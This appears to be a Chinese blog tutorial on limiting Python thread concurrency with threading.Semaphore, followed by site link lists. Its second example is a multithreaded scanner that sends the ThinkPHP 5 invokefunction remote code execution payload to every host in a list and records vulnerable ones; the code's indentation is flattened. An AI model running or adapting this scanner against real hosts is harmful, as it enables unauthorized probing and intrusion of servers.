python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python 获取本机ip地址的两个方法
Feb 25 Python
python装饰器使用方法实例
Nov 21 Python
使用python装饰器验证配置文件示例
Feb 24 Python
python 读文件,然后转化为矩阵的实例
Apr 23 Python
python+POP3实现批量下载邮件附件
Jun 19 Python
Python代码块批量添加Tab缩进的方法
Jun 25 Python
Python中正则表达式的用法总结
Feb 22 Python
浅谈django2.0 ForeignKey参数的变化
Aug 06 Python
Python中断多重循环的思路总结
Oct 04 Python
Python %r和%s区别代码实例解析
Apr 03 Python
Python基于numpy模块实现回归预测
May 14 Python
sublime3之内网安装python插件Anaconda的流程
Nov 10 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
php生成静态页面的简单示例
2014/04/17 PHP
PHP crypt()函数的用法讲解
2019/02/15 PHP
JQuery 图片延迟加载并等比缩放插件
2009/11/09 Javascript
JQuery实现倒计时按钮具体方法
2013/11/14 Javascript
JavaScript关闭当前页面(窗口)不带任何提示
2014/03/26 Javascript
js函数参数设置默认值的一种变通实现方法
2014/05/26 Javascript
jQuery自带的一些常用方法总结
2014/09/03 Javascript
JS弹出层遮罩,隐藏背景页面滚动条细节优化分析
2016/04/29 Javascript
js多功能分页组件layPage使用方法详解
2016/05/19 Javascript
js验证真实姓名与身份证号,手机号的简单实例
2016/07/18 Javascript
JavaScript提高网站性能优化的建议(二)
2016/07/24 Javascript
jquery实现多次上传同一张图片
2017/01/09 Javascript
JS中使用gulp实现压缩文件及浏览器热加载功能
2017/07/12 Javascript
彻底理解js面向对象之继承
2018/02/04 Javascript
Angular浏览器插件Batarang介绍及使用
2018/02/07 Javascript
在vue项目中使用codemirror插件实现代码编辑器功能
2019/08/27 Javascript
javascript 高级语法之继承的基本使用方法示例
2019/11/11 Javascript
element中的$confirm的使用
2020/04/26 Javascript
Vue列表如何实现滚动到指定位置样式改变效果
2020/05/09 Javascript
javascript全局自定义鼠标右键菜单
2020/12/08 Javascript
[02:19]DOTA2上海特级锦标赛 观赛指南 Spectator Guide
2016/02/04 DOTA
[01:37]PWL S2开团时刻DAY1&2——这符有毒
2020/11/20 DOTA
Python批量修改文件后缀的方法
2014/01/26 Python
Python中shape计算矩阵的方法示例
2017/04/21 Python
Python实现的质因式分解算法示例
2018/05/03 Python
对python借助百度云API对评论进行观点抽取的方法详解
2019/02/21 Python
python实现滑雪游戏
2020/02/22 Python
Django 允许局域网中的机器访问你的主机操作
2020/05/13 Python
Skyscanner英国:苏格兰的全球三大领先航班搜索服务之一
2017/11/09 全球购物
Gtech官方网站:地毯清洁器、吸尘器及园艺设备
2018/05/23 全球购物
市场部专员岗位职责
2013/11/30 职场文书
高中教师评语大全
2014/04/25 职场文书
个人存款证明书
2014/10/18 职场文书
2016教师学习教育法心得体会
2016/01/19 职场文书
python pygame入门教程
2021/06/01 Python
Nginx跨域问题解析与解决
2022/08/05 Servers